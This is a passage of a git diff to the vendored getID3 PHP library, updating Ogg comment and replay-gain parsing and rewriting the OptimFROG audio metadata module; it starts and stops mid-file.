($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'COVERART') { + + $data = base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']); + $this->notice('Found deprecated COVERART tag, it should be replaced in honor of METADATA_BLOCK_PICTURE structure'); + /** @todo use 'coverartmime' where available */ + $imageinfo = getid3_lib::GetDataImageSize($data); + if ($imageinfo === false || !isset($imageinfo['mime'])) { + $this->warning('COVERART vorbiscomment tag contains invalid image'); + continue; + } + + $ogg = new self($this->getid3); + $ogg->setStringMode($data); + $info['ogg']['comments']['picture'][] = array( + 'image_mime' => $imageinfo['mime'], + 'datalength' => strlen($data), + 'picturetype' => 'cover art', + 'image_height' => $imageinfo['height'], + 'image_width' => $imageinfo['width'], + 'data' => $ogg->saveAttachment('coverart', 0, strlen($data), $imageinfo['mime']), + ); + unset($ogg); + + } else { + + $info['ogg']['comments'][strtolower($ThisFileInfo_ogg_comments_raw[$i]['key'])][] = $ThisFileInfo_ogg_comments_raw[$i]['value']; + + } + + } else { + + $this->warning('[known problem with CDex >= v1.40, < v1.50b7] Invalid Ogg comment name/value pair ['.$i.']: '.$commentstring); + + } + unset($ThisFileInfo_ogg_comments_raw[$i]); + } + unset($ThisFileInfo_ogg_comments_raw); + + + // Replay Gain Adjustment + // http://privatewww.essex.ac.uk/~djmrob/replaygain/ + if (isset($info['ogg']['comments']) && is_array($info['ogg']['comments'])) { + foreach ($info['ogg']['comments'] as $index => $commentvalue) { + switch ($index) { + case 'rg_audiophile': + case 'replaygain_album_gain': + $info['replay_gain']['album']['adjustment'] = (double) $commentvalue[0]; + unset($info['ogg']['comments'][$index]); + break; + + case 'rg_radio': + case 'replaygain_track_gain': + $info['replay_gain']['track']['adjustment'] = (double) $commentvalue[0]; + unset($info['ogg']['comments'][$index]); + break; + + case 'replaygain_album_peak': + $info['replay_gain']['album']['peak'] = (double) $commentvalue[0]; + unset($info['ogg']['comments'][$index]); + break; + + case 'rg_peak': + case 'replaygain_track_peak': + $info['replay_gain']['track']['peak'] = (double) $commentvalue[0]; + unset($info['ogg']['comments'][$index]); + break; + + case 'replaygain_reference_loudness': + $info['replay_gain']['reference_volume'] = (double) $commentvalue[0]; + unset($info['ogg']['comments'][$index]); + break; + + default: + // do nothing + break; + } + } + } + + $this->fseek($OriginalOffset); + + return true; + } + + /** + * @param int $mode + * + * @return string|null + */ + public static function SpeexBandModeLookup($mode) { + static $SpeexBandModeLookup = array(); + if (empty($SpeexBandModeLookup)) { + $SpeexBandModeLookup[0] = 'narrow'; + $SpeexBandModeLookup[1] = 'wide'; + $SpeexBandModeLookup[2] = 'ultra-wide'; + } + return (isset($SpeexBandModeLookup[$mode]) ? $SpeexBandModeLookup[$mode] : null); + } + + /** + * @param array $OggInfoArray + * @param int $SegmentNumber + * + * @return int + */ + public static function OggPageSegmentLength($OggInfoArray, $SegmentNumber=1) { + $segmentlength = 0; + for ($i = 0; $i < $SegmentNumber; $i++) { + $segmentlength = 0; + foreach ($OggInfoArray['segment_table'] as $key => $value) { + $segmentlength += $value; + if ($value < 255) { + break; + } + } + } + return $segmentlength; + } + + /** + * @param int $nominal_bitrate + * + * @return float + */ + public static function get_quality_from_nominal_bitrate($nominal_bitrate) { + + // decrease precision + $nominal_bitrate = $nominal_bitrate / 1000; + + if ($nominal_bitrate < 128) { + // q-1 to q4 + $qval = ($nominal_bitrate - 64) / 16; + } elseif ($nominal_bitrate < 256) { + // q4 to q8 + $qval = $nominal_bitrate / 32; + } elseif ($nominal_bitrate < 320) { + // q8 to q9 + $qval = ($nominal_bitrate + 256) / 64; + } else { + // q9 to q10 + $qval = ($nominal_bitrate + 1300) / 180; + } + //return $qval; // 5.031324 + //return intval($qval); // 5 + return round($qval, 1); // 5 or 4.9 + } + + /** + * @param int $colorspace_id + * + * @return string|null + */ + public static function TheoraColorSpace($colorspace_id) { + // http://www.theora.org/doc/Theora.pdf (table 6.3) + static $TheoraColorSpaceLookup = array(); + if (empty($TheoraColorSpaceLookup)) { + $TheoraColorSpaceLookup[0] = 'Undefined'; + $TheoraColorSpaceLookup[1] = 'Rec. 470M'; + $TheoraColorSpaceLookup[2] = 'Rec. 470BG'; + $TheoraColorSpaceLookup[3] = 'Reserved'; + } + return (isset($TheoraColorSpaceLookup[$colorspace_id]) ? $TheoraColorSpaceLookup[$colorspace_id] : null); + } + + /** + * @param int $pixelformat_id + * + * @return string|null + */ + public static function TheoraPixelFormat($pixelformat_id) { + // http://www.theora.org/doc/Theora.pdf (table 6.4) + static $TheoraPixelFormatLookup = array(); + if (empty($TheoraPixelFormatLookup)) { + $TheoraPixelFormatLookup[0] = '4:2:0'; + $TheoraPixelFormatLookup[1] = 'Reserved'; + $TheoraPixelFormatLookup[2] = '4:2:2'; + $TheoraPixelFormatLookup[3] = '4:4:4'; + } + return (isset($TheoraPixelFormatLookup[$pixelformat_id]) ? $TheoraPixelFormatLookup[$pixelformat_id] : null); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.optimfrog.php b/vendor/james-heinrich/getid3/getid3/module.audio.optimfrog.php index c3ba714893..d84c2c48e0 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.optimfrog.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.optimfrog.php @@ -1,470 +1,470 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.optimfrog.php // -// module for analyzing OptimFROG audio files // -// dependencies: module.audio.riff.php // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); - -class getid3_optimfrog extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'ofr'; - $info['audio']['dataformat'] = 'ofr'; - $info['audio']['bitrate_mode'] = 'vbr'; - $info['audio']['lossless'] = true; - - $this->fseek($info['avdataoffset']); - $OFRheader = $this->fread(8); - if (substr($OFRheader, 0, 5) == '*RIFF') { - - return $this->ParseOptimFROGheader42(); - - } elseif (substr($OFRheader, 0, 3) == 'OFR') { - - return $this->ParseOptimFROGheader45(); - - } - - $this->error('Expecting "*RIFF" or "OFR " at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($OFRheader).'"'); - unset($info['fileformat']); - return false; - } - - /** - * @return bool - */ - public function ParseOptimFROGheader42() { - // for fileformat of v4.21 and older - - $info = &$this->getid3->info; - $this->fseek($info['avdataoffset']); - $OptimFROGheaderData = $this->fread(45); - $info['avdataoffset'] = 45; - - $OptimFROGencoderVersion_raw = getid3_lib::LittleEndian2Int(substr($OptimFROGheaderData, 0, 1)); - $OptimFROGencoderVersion_major = floor($OptimFROGencoderVersion_raw / 10); - $OptimFROGencoderVersion_minor = $OptimFROGencoderVersion_raw - ($OptimFROGencoderVersion_major * 10); - $RIFFdata = substr($OptimFROGheaderData, 1, 44); - $OrignalRIFFheaderSize = getid3_lib::LittleEndian2Int(substr($RIFFdata, 4, 4)) + 8; - $OrignalRIFFdataSize = getid3_lib::LittleEndian2Int(substr($RIFFdata, 40, 4)) + 44; - - if ($OrignalRIFFheaderSize > $OrignalRIFFdataSize) { - $info['avdataend'] -= ($OrignalRIFFheaderSize - $OrignalRIFFdataSize); - $this->fseek($info['avdataend']); - $RIFFdata .= $this->fread($OrignalRIFFheaderSize - $OrignalRIFFdataSize); - } - - // move the data chunk after all other chunks (if any) - // so that the RIFF parser doesn't see EOF when trying - // to skip over the data chunk - $RIFFdata = substr($RIFFdata, 0, 36).substr($RIFFdata, 44).substr($RIFFdata, 36, 8); - - $getid3_temp = new getID3(); - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; - $getid3_temp->info['avdataend'] = $info['avdataend']; - $getid3_riff = new getid3_riff($getid3_temp); - $getid3_riff->ParseRIFFdata($RIFFdata); - $info['riff'] = $getid3_temp->info['riff']; - - $info['audio']['encoder'] = 'OptimFROG '.$OptimFROGencoderVersion_major.'.'.$OptimFROGencoderVersion_minor; - $info['audio']['channels'] = $info['riff']['audio'][0]['channels']; - $info['audio']['sample_rate'] = $info['riff']['audio'][0]['sample_rate']; - $info['audio']['bits_per_sample'] = $info['riff']['audio'][0]['bits_per_sample']; - $info['playtime_seconds'] = $OrignalRIFFdataSize / ($info['audio']['channels'] * $info['audio']['sample_rate'] * ($info['audio']['bits_per_sample'] / 8)); - $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; - - unset($getid3_riff, $getid3_temp, $RIFFdata); - - return true; - } - - /** - * @return bool - */ - public function ParseOptimFROGheader45() { - // for fileformat of v4.50a and higher - - $info = &$this->getid3->info; - $RIFFdata = ''; - $this->fseek($info['avdataoffset']); - while (!feof($this->getid3->fp) && ($this->ftell() < $info['avdataend'])) { - $BlockOffset = $this->ftell(); - $BlockData = $this->fread(8); - $offset = 8; - $BlockName = substr($BlockData, 0, 4); - $BlockSize = getid3_lib::LittleEndian2Int(substr($BlockData, 4, 4)); - - if ($BlockName == 'OFRX') { - $BlockName = 'OFR '; - } - if (!isset($info['ofr'][$BlockName])) { - $info['ofr'][$BlockName] = array(); - } - $thisfile_ofr_thisblock = &$info['ofr'][$BlockName]; - - switch ($BlockName) { - case 'OFR ': - - // shortcut - $thisfile_ofr_thisblock['offset'] = $BlockOffset; - $thisfile_ofr_thisblock['size'] = $BlockSize; - - $info['audio']['encoder'] = 'OptimFROG 4.50 alpha'; - switch ($BlockSize) { - case 12: - case 15: - // good - break; - - default: - $this->warning('"'.$BlockName.'" contains more data than expected (expected 12 or 15 bytes, found '.$BlockSize.' bytes)'); - break; - } - $BlockData .= $this->fread($BlockSize); - - $thisfile_ofr_thisblock['total_samples'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 6)); - $offset += 6; - $thisfile_ofr_thisblock['raw']['sample_type'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 1)); - $thisfile_ofr_thisblock['sample_type'] = $this->OptimFROGsampleTypeLookup($thisfile_ofr_thisblock['raw']['sample_type']); - $offset += 1; - $thisfile_ofr_thisblock['channel_config'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 1)); - $thisfile_ofr_thisblock['channels'] = $thisfile_ofr_thisblock['channel_config']; - $offset += 1; - $thisfile_ofr_thisblock['sample_rate'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 4)); - $offset += 4; - - if ($BlockSize > 12) { - - // OFR 4.504b or higher - $thisfile_ofr_thisblock['channels'] = $this->OptimFROGchannelConfigNumChannelsLookup($thisfile_ofr_thisblock['channel_config']); - $thisfile_ofr_thisblock['raw']['encoder_id'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 2)); - $thisfile_ofr_thisblock['encoder'] = $this->OptimFROGencoderNameLookup($thisfile_ofr_thisblock['raw']['encoder_id']); - $offset += 2; - $thisfile_ofr_thisblock['raw']['compression'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 1)); - $thisfile_ofr_thisblock['compression'] = $this->OptimFROGcompressionLookup($thisfile_ofr_thisblock['raw']['compression']); - $thisfile_ofr_thisblock['speedup'] = $this->OptimFROGspeedupLookup($thisfile_ofr_thisblock['raw']['compression']); - $offset += 1; - - $info['audio']['encoder'] = 'OptimFROG '.$thisfile_ofr_thisblock['encoder']; - $info['audio']['encoder_options'] = '--mode '.$thisfile_ofr_thisblock['compression']; - - if ((($thisfile_ofr_thisblock['raw']['encoder_id'] & 0xF0) >> 4) == 7) { // v4.507 - if (strtolower(getid3_lib::fileextension($info['filename'])) == 'ofs') { - // OptimFROG DualStream format is lossy, but as of v4.507 there is no way to tell the difference - // between lossless and lossy other than the file extension. - $info['audio']['dataformat'] = 'ofs'; - $info['audio']['lossless'] = true; - } - } - - } - - $info['audio']['channels'] = $thisfile_ofr_thisblock['channels']; - $info['audio']['sample_rate'] = $thisfile_ofr_thisblock['sample_rate']; - $info['audio']['bits_per_sample'] = $this->OptimFROGbitsPerSampleTypeLookup($thisfile_ofr_thisblock['raw']['sample_type']); - break; - - - case 'COMP': - // unlike other block types, there CAN be multiple COMP blocks - - $COMPdata = array(); - $COMPdata['offset'] = $BlockOffset; - $COMPdata['size'] = $BlockSize; - - if ($info['avdataoffset'] == 0) { - $info['avdataoffset'] = $BlockOffset; - } - - // Only interested in first 14 bytes (only first 12 needed for v4.50 alpha), not actual audio data - $BlockData .= $this->fread(14); - $this->fseek($BlockSize - 14, SEEK_CUR); - - $COMPdata['crc_32'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 4)); - $offset += 4; - $COMPdata['sample_count'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 4)); - $offset += 4; - $COMPdata['raw']['sample_type'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 1)); - $COMPdata['sample_type'] = $this->OptimFROGsampleTypeLookup($COMPdata['raw']['sample_type']); - $offset += 1; - $COMPdata['raw']['channel_configuration'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 1)); - $COMPdata['channel_configuration'] = $this->OptimFROGchannelConfigurationLookup($COMPdata['raw']['channel_configuration']); - $offset += 1; - $COMPdata['raw']['algorithm_id'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 2)); - //$COMPdata['algorithm'] = OptimFROGalgorithmNameLookup($COMPdata['raw']['algorithm_id']); - $offset += 2; - - if ($info['ofr']['OFR ']['size'] > 12) { - - // OFR 4.504b or higher - $COMPdata['raw']['encoder_id'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 2)); - $COMPdata['encoder'] = $this->OptimFROGencoderNameLookup($COMPdata['raw']['encoder_id']); - $offset += 2; - - } - - if ($COMPdata['crc_32'] == 0x454E4F4E) { - // ASCII value of 'NONE' - placeholder value in v4.50a - $COMPdata['crc_32'] = false; - } - - $thisfile_ofr_thisblock[] = $COMPdata; - break; - - case 'HEAD': - $thisfile_ofr_thisblock['offset'] = $BlockOffset; - $thisfile_ofr_thisblock['size'] = $BlockSize; - - $RIFFdata .= $this->fread($BlockSize); - break; - - case 'TAIL': - $thisfile_ofr_thisblock['offset'] = $BlockOffset; - $thisfile_ofr_thisblock['size'] = $BlockSize; - - if ($BlockSize > 0) { - $RIFFdata .= $this->fread($BlockSize); - } - break; - - case 'RECV': - // block contains no useful meta data - simply note and skip - - $thisfile_ofr_thisblock['offset'] = $BlockOffset; - $thisfile_ofr_thisblock['size'] = $BlockSize; - - $this->fseek($BlockSize, SEEK_CUR); - break; - - - case 'APET': - // APEtag v2 - - $thisfile_ofr_thisblock['offset'] = $BlockOffset; - $thisfile_ofr_thisblock['size'] = $BlockSize; - $this->warning('APEtag processing inside OptimFROG not supported in this version ('.$this->getid3->version().') of getID3()'); - - $this->fseek($BlockSize, SEEK_CUR); - break; - - - case 'MD5 ': - // APEtag v2 - - $thisfile_ofr_thisblock['offset'] = $BlockOffset; - $thisfile_ofr_thisblock['size'] = $BlockSize; - - if ($BlockSize == 16) { - - $thisfile_ofr_thisblock['md5_binary'] = $this->fread($BlockSize); - $thisfile_ofr_thisblock['md5_string'] = getid3_lib::PrintHexBytes($thisfile_ofr_thisblock['md5_binary'], true, false, false); - $info['md5_data_source'] = $thisfile_ofr_thisblock['md5_string']; - - } else { - - $this->warning('Expecting block size of 16 in "MD5 " chunk, found '.$BlockSize.' instead'); - $this->fseek($BlockSize, SEEK_CUR); - - } - break; - - - default: - $thisfile_ofr_thisblock['offset'] = $BlockOffset; - $thisfile_ofr_thisblock['size'] = $BlockSize; - - $this->warning('Unhandled OptimFROG block type "'.$BlockName.'" at offset '.$thisfile_ofr_thisblock['offset']); - $this->fseek($BlockSize, SEEK_CUR); - break; - } - } - if (isset($info['ofr']['TAIL']['offset'])) { - $info['avdataend'] = $info['ofr']['TAIL']['offset']; - } - - $info['playtime_seconds'] = (float) $info['ofr']['OFR ']['total_samples'] / ($info['audio']['channels'] * $info['audio']['sample_rate']); - $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; - - // move the data chunk after all other chunks (if any) - // so that the RIFF parser doesn't see EOF when trying - // to skip over the data chunk - $RIFFdata = substr($RIFFdata, 0, 36).substr($RIFFdata, 44).substr($RIFFdata, 36, 8); - - $getid3_temp = new getID3(); - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; - $getid3_temp->info['avdataend'] = $info['avdataend']; - $getid3_riff = new getid3_riff($getid3_temp); - $getid3_riff->ParseRIFFdata($RIFFdata); - $info['riff'] = $getid3_temp->info['riff']; - - unset($getid3_riff, $getid3_temp, $RIFFdata); - - return true; - } - - /** - * @param int $SampleType - * - * @return string|false - */ - public static function OptimFROGsampleTypeLookup($SampleType) { - static $OptimFROGsampleTypeLookup = array( - 0 => 'unsigned int (8-bit)', - 1 => 'signed int (8-bit)', - 2 => 'unsigned int (16-bit)', - 3 => 'signed int (16-bit)', - 4 => 'unsigned int (24-bit)', - 5 => 'signed int (24-bit)', - 6 => 'unsigned int (32-bit)', - 7 => 'signed int (32-bit)', - 8 => 'float 0.24 (32-bit)', - 9 => 'float 16.8 (32-bit)', - 10 => 'float 24.0 (32-bit)' - ); - return (isset($OptimFROGsampleTypeLookup[$SampleType]) ? $OptimFROGsampleTypeLookup[$SampleType] : false); - } - - /** - * @param int $SampleType - * - * @return int|false - */ - public static function OptimFROGbitsPerSampleTypeLookup($SampleType) { - static $OptimFROGbitsPerSampleTypeLookup = array( - 0 => 8, - 1 => 8, - 2 => 16, - 3 => 16, - 4 => 24, - 5 => 24, - 6 => 32, - 7 => 32, - 8 => 32, - 9 => 32, - 10 => 32 - ); - return (isset($OptimFROGbitsPerSampleTypeLookup[$SampleType]) ? $OptimFROGbitsPerSampleTypeLookup[$SampleType] : false); - } - - /** - * @param int $ChannelConfiguration - * - * @return string|false - */ - public static function OptimFROGchannelConfigurationLookup($ChannelConfiguration) { - static $OptimFROGchannelConfigurationLookup = array( - 0 => 'mono', - 1 => 'stereo' - ); - return (isset($OptimFROGchannelConfigurationLookup[$ChannelConfiguration]) ? $OptimFROGchannelConfigurationLookup[$ChannelConfiguration] : false); - } - - /** - * @param int $ChannelConfiguration - * - * @return int|false - */ - public static function OptimFROGchannelConfigNumChannelsLookup($ChannelConfiguration) { - static $OptimFROGchannelConfigNumChannelsLookup = array( - 0 => 1, - 1 => 2 - ); - return (isset($OptimFROGchannelConfigNumChannelsLookup[$ChannelConfiguration]) ? $OptimFROGchannelConfigNumChannelsLookup[$ChannelConfiguration] : false); - } - - - // static function OptimFROGalgorithmNameLookup($AlgorithID) { - // static $OptimFROGalgorithmNameLookup = array(); - // return (isset($OptimFROGalgorithmNameLookup[$AlgorithID]) ? $OptimFROGalgorithmNameLookup[$AlgorithID] : false); - // } - - - /** - * @param int $EncoderID - * - * @return string - */ - public static function OptimFROGencoderNameLookup($EncoderID) { - // version = (encoderID >> 4) + 4500 - // system = encoderID & 0xF - - $EncoderVersion = number_format(((($EncoderID & 0xF0) >> 4) + 4500) / 1000, 3); - $EncoderSystemID = ($EncoderID & 0x0F); - - static $OptimFROGencoderSystemLookup = array( - 0x00 => 'Windows console', - 0x01 => 'Linux console', - 0x0F => 'unknown' - ); - return $EncoderVersion.' ('.(isset($OptimFROGencoderSystemLookup[$EncoderSystemID]) ? $OptimFROGencoderSystemLookup[$EncoderSystemID] : 'undefined encoder type (0x'.dechex($EncoderSystemID).')').')'; - } - - /** - * @param int $CompressionID - * - * @return string - */ - public static function OptimFROGcompressionLookup($CompressionID) { - // mode = compression >> 3 - // speedup = compression & 0x07 - - $CompressionModeID = ($CompressionID & 0xF8) >> 3; - //$CompressionSpeedupID = ($CompressionID & 0x07); - - static $OptimFROGencoderModeLookup = array( - 0x00 => 'fast', - 0x01 => 'normal', - 0x02 => 'high', - 0x03 => 'extra', // extranew (some versions) - 0x04 => 'best', // bestnew (some versions) - 0x05 => 'ultra', - 0x06 => 'insane', - 0x07 => 'highnew', - 0x08 => 'extranew', - 0x09 => 'bestnew' - ); - return (isset($OptimFROGencoderModeLookup[$CompressionModeID]) ? $OptimFROGencoderModeLookup[$CompressionModeID] : 'undefined mode (0x'.str_pad(dechex($CompressionModeID), 2, '0', STR_PAD_LEFT).')'); - } - - /** - * @param int $CompressionID - * - * @return string - */ - public static function OptimFROGspeedupLookup($CompressionID) { - // mode = compression >> 3 - // speedup = compression & 0x07 - - //$CompressionModeID = ($CompressionID & 0xF8) >> 3; - $CompressionSpeedupID = ($CompressionID & 0x07); - - static $OptimFROGencoderSpeedupLookup = array( - 0x00 => '1x', - 0x01 => '2x', - 0x02 => '4x' - ); - return (isset($OptimFROGencoderSpeedupLookup[$CompressionSpeedupID]) ? $OptimFROGencoderSpeedupLookup[$CompressionSpeedupID] : 'undefined mode (0x'.dechex($CompressionSpeedupID)); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.optimfrog.php // +// module for analyzing OptimFROG audio files // +// dependencies: module.audio.riff.php // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); + +class getid3_optimfrog extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'ofr'; + $info['audio']['dataformat'] = 'ofr'; + $info['audio']['bitrate_mode'] = 'vbr'; + $info['audio']['lossless'] = true; + + $this->fseek($info['avdataoffset']); + $OFRheader = $this->fread(8); + if (substr($OFRheader, 0, 5) == '*RIFF') { + + return $this->ParseOptimFROGheader42(); + + } elseif (substr($OFRheader, 0, 3) == 'OFR') { + + return $this->ParseOptimFROGheader45(); + + } + + $this->error('Expecting "*RIFF" or "OFR " at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($OFRheader).'"'); + unset($info['fileformat']); + return false; + } + + /** + * @return bool + */ + public function ParseOptimFROGheader42() { + // for fileformat of v4.21 and older + + $info = &$this->getid3->info; + $this->fseek($info['avdataoffset']); + $OptimFROGheaderData = $this->fread(45); + $info['avdataoffset'] = 45; + + $OptimFROGencoderVersion_raw = getid3_lib::LittleEndian2Int(substr($OptimFROGheaderData, 0, 1)); + $OptimFROGencoderVersion_major = floor($OptimFROGencoderVersion_raw / 10); + $OptimFROGencoderVersion_minor = $OptimFROGencoderVersion_raw - ($OptimFROGencoderVersion_major * 10); + $RIFFdata = substr($OptimFROGheaderData, 1, 44); + $OrignalRIFFheaderSize = getid3_lib::LittleEndian2Int(substr($RIFFdata, 4, 4)) + 8; + $OrignalRIFFdataSize = getid3_lib::LittleEndian2Int(substr($RIFFdata, 40, 4)) + 44; + + if ($OrignalRIFFheaderSize > $OrignalRIFFdataSize) { + $info['avdataend'] -= ($OrignalRIFFheaderSize - $OrignalRIFFdataSize); + $this->fseek($info['avdataend']); + $RIFFdata .= $this->fread($OrignalRIFFheaderSize - $OrignalRIFFdataSize); + } + + // move the data chunk after all other chunks (if any) + // so that the RIFF parser doesn't see EOF when trying + // to skip over the data chunk + $RIFFdata = substr($RIFFdata, 0, 36).substr($RIFFdata, 44).substr($RIFFdata, 36, 8); + + $getid3_temp = new getID3(); + $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); + $getid3_temp->info['avdataoffset'] = $info['avdataoffset']; + $getid3_temp->info['avdataend'] = $info['avdataend']; + $getid3_riff = new getid3_riff($getid3_temp); + $getid3_riff->ParseRIFFdata($RIFFdata); + $info['riff'] = $getid3_temp->info['riff']; + + $info['audio']['encoder'] = 'OptimFROG '.$OptimFROGencoderVersion_major.'.'.$OptimFROGencoderVersion_minor; + $info['audio']['channels'] = $info['riff']['audio'][0]['channels']; + $info['audio']['sample_rate'] = $info['riff']['audio'][0]['sample_rate']; + $info['audio']['bits_per_sample'] = $info['riff']['audio'][0]['bits_per_sample']; + $info['playtime_seconds'] = $OrignalRIFFdataSize / ($info['audio']['channels'] * $info['audio']['sample_rate'] * ($info['audio']['bits_per_sample'] / 8)); + $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; + + unset($getid3_riff, $getid3_temp, $RIFFdata); + + return true; + } + + /** + * @return bool + */ + public function ParseOptimFROGheader45() { + // for fileformat of v4.50a and higher + + $info = &$this->getid3->info; + $RIFFdata = ''; + $this->fseek($info['avdataoffset']); + while (!feof($this->getid3->fp) && ($this->ftell() < $info['avdataend'])) { + $BlockOffset = $this->ftell(); + $BlockData = $this->fread(8); + $offset = 8; + $BlockName = substr($BlockData, 0, 4); + $BlockSize = getid3_lib::LittleEndian2Int(substr($BlockData, 4, 4)); + + if ($BlockName == 'OFRX') { + $BlockName = 'OFR '; + } + if (!isset($info['ofr'][$BlockName])) { + $info['ofr'][$BlockName] = array(); + } + $thisfile_ofr_thisblock = &$info['ofr'][$BlockName]; + + switch ($BlockName) { + case 'OFR ': + + // shortcut + $thisfile_ofr_thisblock['offset'] = $BlockOffset; + $thisfile_ofr_thisblock['size'] = $BlockSize; + + $info['audio']['encoder'] = 'OptimFROG 4.50 alpha'; + switch ($BlockSize) { + case 12: + case 15: + // good + break; + + default: + $this->warning('"'.$BlockName.'" contains more data than expected (expected 12 or 15 bytes, found '.$BlockSize.' bytes)'); + break; + } + $BlockData .= $this->fread($BlockSize); + + $thisfile_ofr_thisblock['total_samples'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 6)); + $offset += 6; + $thisfile_ofr_thisblock['raw']['sample_type'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 1)); + $thisfile_ofr_thisblock['sample_type'] = $this->OptimFROGsampleTypeLookup($thisfile_ofr_thisblock['raw']['sample_type']); + $offset += 1; + $thisfile_ofr_thisblock['channel_config'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 1)); + $thisfile_ofr_thisblock['channels'] = $thisfile_ofr_thisblock['channel_config']; + $offset += 1; + $thisfile_ofr_thisblock['sample_rate'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 4)); + $offset += 4; + + if ($BlockSize > 12) { + + // OFR 4.504b or higher + $thisfile_ofr_thisblock['channels'] = $this->OptimFROGchannelConfigNumChannelsLookup($thisfile_ofr_thisblock['channel_config']); + $thisfile_ofr_thisblock['raw']['encoder_id'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 2)); + $thisfile_ofr_thisblock['encoder'] = $this->OptimFROGencoderNameLookup($thisfile_ofr_thisblock['raw']['encoder_id']); + $offset += 2; + $thisfile_ofr_thisblock['raw']['compression'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 1)); + $thisfile_ofr_thisblock['compression'] = $this->OptimFROGcompressionLookup($thisfile_ofr_thisblock['raw']['compression']); + $thisfile_ofr_thisblock['speedup'] = $this->OptimFROGspeedupLookup($thisfile_ofr_thisblock['raw']['compression']); + $offset += 1; + + $info['audio']['encoder'] = 'OptimFROG '.$thisfile_ofr_thisblock['encoder']; + $info['audio']['encoder_options'] = '--mode '.$thisfile_ofr_thisblock['compression']; + + if ((($thisfile_ofr_thisblock['raw']['encoder_id'] & 0xF0) >> 4) == 7) { // v4.507 + if (strtolower(getid3_lib::fileextension($info['filename'])) == 'ofs') { + // OptimFROG DualStream format is lossy, but as of v4.507 there is no way to tell the difference + // between lossless and lossy other than the file extension. + $info['audio']['dataformat'] = 'ofs'; + $info['audio']['lossless'] = true; + } + } + + } + + $info['audio']['channels'] = $thisfile_ofr_thisblock['channels']; + $info['audio']['sample_rate'] = $thisfile_ofr_thisblock['sample_rate']; + $info['audio']['bits_per_sample'] = $this->OptimFROGbitsPerSampleTypeLookup($thisfile_ofr_thisblock['raw']['sample_type']); + break; + + + case 'COMP': + // unlike other block types, there CAN be multiple COMP blocks + + $COMPdata = array(); + $COMPdata['offset'] = $BlockOffset; + $COMPdata['size'] = $BlockSize; + + if ($info['avdataoffset'] == 0) { + $info['avdataoffset'] = $BlockOffset; + } + + // Only interested in first 14 bytes (only first 12 needed for v4.50 alpha), not actual audio data + $BlockData .= $this->fread(14); + $this->fseek($BlockSize - 14, SEEK_CUR); + + $COMPdata['crc_32'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 4)); + $offset += 4; + $COMPdata['sample_count'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 4)); + $offset += 4; + $COMPdata['raw']['sample_type'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 1)); + $COMPdata['sample_type'] = $this->OptimFROGsampleTypeLookup($COMPdata['raw']['sample_type']); + $offset += 1; + $COMPdata['raw']['channel_configuration'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 1)); + $COMPdata['channel_configuration'] = $this->OptimFROGchannelConfigurationLookup($COMPdata['raw']['channel_configuration']); + $offset += 1; + $COMPdata['raw']['algorithm_id'] = getid3_lib::LittleEndian2Int(substr($BlockData, $offset, 2)); + //$COMPdata['algorithm'] = OptimFROGalgorithmNameLookup($COMPdata['raw']['algorithm_id']); + $offset += 2; + + if ($info['ofr']['OFR ']['size'] > 12) { + + // OFR 4.504b or higher + 